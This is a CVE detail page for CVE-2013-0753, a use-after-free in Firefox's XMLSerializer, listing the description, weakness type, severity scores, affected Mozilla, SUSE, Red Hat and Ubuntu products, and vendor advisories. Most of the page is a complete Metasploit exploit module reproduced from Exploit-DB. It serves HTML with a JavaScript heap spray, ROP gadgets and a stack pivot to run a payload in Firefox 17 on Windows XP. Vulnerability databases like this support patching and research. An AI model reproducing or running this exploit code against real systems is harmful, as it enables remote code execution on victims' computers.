CVE-2013-0753 : Detail

CVE-2013-0753

Memory Corruption
96.58%V3
Network
2013-01-13
19h00 +00:00
2017-09-18
10h57 +00:00
CVE.org
NVD
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CVE Descriptions

Use-after-free vulnerability in the serializeToStream implementation in the XMLSerializer component in Mozilla Firefox before 18.0, Firefox ESR 10.x before 10.0.12 and 17.x before 17.0.2, Thunderbird before 17.0.2, Thunderbird ESR 10.x before 10.0.12 and 17.x before 17.0.2, and SeaMonkey before 2.15 allows remote attackers to execute arbitrary code via crafted web content.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-416 Use After Free
The product reuses or references memory after it has been freed. At some point afterward, the memory may be allocated again and saved in another pointer, while the original pointer references a location somewhere within the new allocation. Any operations using the original pointer are no longer valid because the memory "belongs" to the code that operates on the new pointer.

Metrics

Metrics Score Severity CVSS Vector Source
V2 9.3 AV:N/AC:M/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 27940

Publication date : 2013-08-28
22h00 +00:00
Author : Metasploit
EDB Verified : Yes

## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::RopDb def initialize(info = {}) super(update_info(info, 'Name' => 'Firefox XMLSerializer Use After Free', 'Description' => %q{ This module exploits a vulnerability found on Firefox 17.0 (< 17.0.2), specifically an use after free of an Element object, when using the serializeToStream method with a specially crafted OutputStream defining its own write function. This module has been tested successfully with Firefox 17.0.1 ESR, 17.0.1 and 17.0 on Windows XP SP3. }, 'License' => MSF_LICENSE, 'Author' => [ 'regenrecht', # Vulnerability Discovery, Analysis and PoC 'juan vazquez' # Metasploit module ], 'References' => [ [ 'CVE', '2013-0753' ], [ 'OSVDB', '89021'], [ 'BID', '57209'], [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-006/' ], [ 'URL', 'http://www.mozilla.org/security/announce/2013/mfsa2013-16.html' ], [ 'URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=814001' ] ], 'DefaultOptions' => { 'EXITFUNC' => 'process', 'PrependMigrate' => true }, 'Payload' => { 'BadChars' => "\x00", 'DisableNops' => true, 'Space' => 30000 # Indeed a sprayed chunk, just a high value where any payload fits }, 'Platform' => 'win', 'Targets' => [ [ 'Firefox 17 / Windows XP SP3', { 'FakeObject' => 0x0c101008, # Pointer to the Sprayed Memory 'FakeVFTable' => 0x0c10100c, # Pointer to the Sprayed Memory 'RetGadget' => 0x77c3ee16, # ret from msvcrt 'PopRetGadget' => 0x77c50d13, # pop # ret from msvcrt 'StackPivot' => 0x77c15ed5, # xcht eax,esp # ret msvcrt } ] ], 'DisclosureDate' => 'Jan 08 2013', 'DefaultTarget' => 0)) end def stack_pivot pivot = "\x64\xa1\x18\x00\x00\x00" # mov eax, fs:[0x18 # get teb pivot << "\x83\xC0\x08" # add eax, byte 8 # get pointer to stacklimit pivot << "\x8b\x20" # mov esp, [eax] # put esp at stacklimit pivot << "\x81\xC4\x30\xF8\xFF\xFF" # add esp, -2000 # plus a little offset return pivot end def junk(n=4) return rand_text_alpha(n).unpack("V").first end def on_request_uri(cli, request) agent = request.headers['User-Agent'] vprint_status("Agent: #{agent}") if agent !~ /Windows NT 5\.1/ print_error("Windows XP not found, sending 404: #{agent}") send_not_found(cli) return end unless agent =~ /Firefox\/17/ print_error("Browser not supported, sending 404: #{agent}") send_not_found(cli) return end # Fake object landed on 0x0c101008 if heap spray is working as expected code = [ target['FakeVFTable'], target['RetGadget'], target['RetGadget'], target['RetGadget'], target['RetGadget'], target['PopRetGadget'], 0x88888888, # In order to reach the call to the virtual function, according to the regenrecht's analysis ].pack("V*") code << [target['RetGadget']].pack("V") * 183 # Because you get control with "call dword ptr [eax+2F8h]", where eax => 0x0c10100c (fake vftable pointer) code << [target['PopRetGadget']].pack("V") # pop # ret code << [target['StackPivot']].pack("V") # stackpivot # xchg eax # esp # ret code << generate_rop_payload('msvcrt', stack_pivot + payload.encoded, {'target'=>'xp'}) js_code = Rex::Text.to_unescape(code, Rex::Arch.endian(target.arch)) js_random = Rex::Text.to_unescape(rand_text_alpha(4), Rex::Arch.endian(target.arch)) js_ptr = Rex::Text.to_unescape([target['FakeObject']].pack("V"), Rex::Arch.endian(target.arch)) content = <<-HTML <html> <script> var heap_chunks; function heapSpray(shellcode, fillsled) { var chunk_size, headersize, fillsled_len, code; var i, codewithnum; chunk_size = 0x40000; headersize = 0x10; fillsled_len = chunk_size - (headersize + shellcode.length); while (fillsled.length <fillsled_len) fillsled += fillsled; fillsled = fillsled.substring(0, fillsled_len); code = shellcode + fillsled; heap_chunks = new Array(); for (i = 0; i<1000; i++) { codewithnum = "HERE" + code; heap_chunks[i] = codewithnum.substring(0, codewithnum.length); } } function gen(len, pad) { pad = unescape(pad); while (pad.length < len/2) pad += pad; return pad.substring(0, len/2-1); } function run() { var container = []; var myshellcode = unescape("#{js_code}"); var myfillsled = unescape("#{js_random}"); heapSpray(myshellcode,myfillsled); var fake = "%u0000%u0000" + "%u0000%u0000" + "%u0000%u0000" + "%u0000%u0000" + "%u0000%u0000" + "%u0000%u0000" + "%u0000%u0000" + "#{js_ptr}"; var small = gen(72, fake); var text = 'x'; while (text.length <= 1024) text += text; var parent = document.createElement("parent"); var child = document.createElement("child"); parent.appendChild(child); child.setAttribute("foo", text); var s = new XMLSerializer(); var stream = { write: function() { parent.removeChild(child); child = null; for (i = 0; i < 2097152; ++i) container.push(small.toLowerCase()); } }; s.serializeToStream(parent, stream, "UTF-8"); } </script> <body onload="run();"> </body> </html> HTML print_status("URI #{request.uri} requested...") print_status("Sending HTML") send_response(cli, content, {'Content-Type'=>'text/html'}) end end

Products Mentioned

Configuraton 0

Mozilla>>Firefox >> Version To (excluding) 18.0

Mozilla>>Firefox >> Version From (including) 10.0 To (excluding) 10.0.12

Mozilla>>Firefox >> Version From (including) 17.0 To (excluding) 17.0.2

Mozilla>>Seamonkey >> Version To (excluding) 2.15

Mozilla>>Thunderbird >> Version To (excluding) 17.0.2

Mozilla>>Thunderbird_esr >> Version From (including) 10.0 To (excluding) 10.0.12

Mozilla>>Thunderbird_esr >> Version From (including) 17.0 To (excluding) 17.0.2

Configuraton 0

Opensuse>>Opensuse >> Version 11.4

Opensuse>>Opensuse >> Version 12.1

Opensuse>>Opensuse >> Version 12.2

Suse>>Linux_enterprise_desktop >> Version 10

Suse>>Linux_enterprise_desktop >> Version 11

Suse>>Linux_enterprise_server >> Version 10

Suse>>Linux_enterprise_server >> Version 11

Suse>>Linux_enterprise_server >> Version 11

Suse>>Linux_enterprise_software_development_kit >> Version 10

Suse>>Linux_enterprise_software_development_kit >> Version 11

Configuraton 0

Redhat>>Enterprise_linux_desktop >> Version 5.0

Redhat>>Enterprise_linux_desktop >> Version 6.0

Redhat>>Enterprise_linux_eus >> Version 5.9

Redhat>>Enterprise_linux_eus >> Version 6.3

Redhat>>Enterprise_linux_server >> Version 5.0

Redhat>>Enterprise_linux_server >> Version 6.0

Redhat>>Enterprise_linux_server_aus >> Version 5.9

Redhat>>Enterprise_linux_workstation >> Version 5.0

Redhat>>Enterprise_linux_workstation >> Version 6.0

Configuraton 0

Canonical>>Ubuntu_linux >> Version 10.04

Canonical>>Ubuntu_linux >> Version 11.10

Canonical>>Ubuntu_linux >> Version 12.04

Canonical>>Ubuntu_linux >> Version 12.10

References

http://rhn.redhat.com/errata/RHSA-2013-0145.html
Tags : vendor-advisory, x_refsource_REDHAT
http://www.ubuntu.com/usn/USN-1681-4
Tags : vendor-advisory, x_refsource_UBUNTU
http://rhn.redhat.com/errata/RHSA-2013-0144.html
Tags : vendor-advisory, x_refsource_REDHAT
http://www.ubuntu.com/usn/USN-1681-1
Tags : vendor-advisory, x_refsource_UBUNTU
http://www.ubuntu.com/usn/USN-1681-2
Tags : vendor-advisory, x_refsource_UBUNTU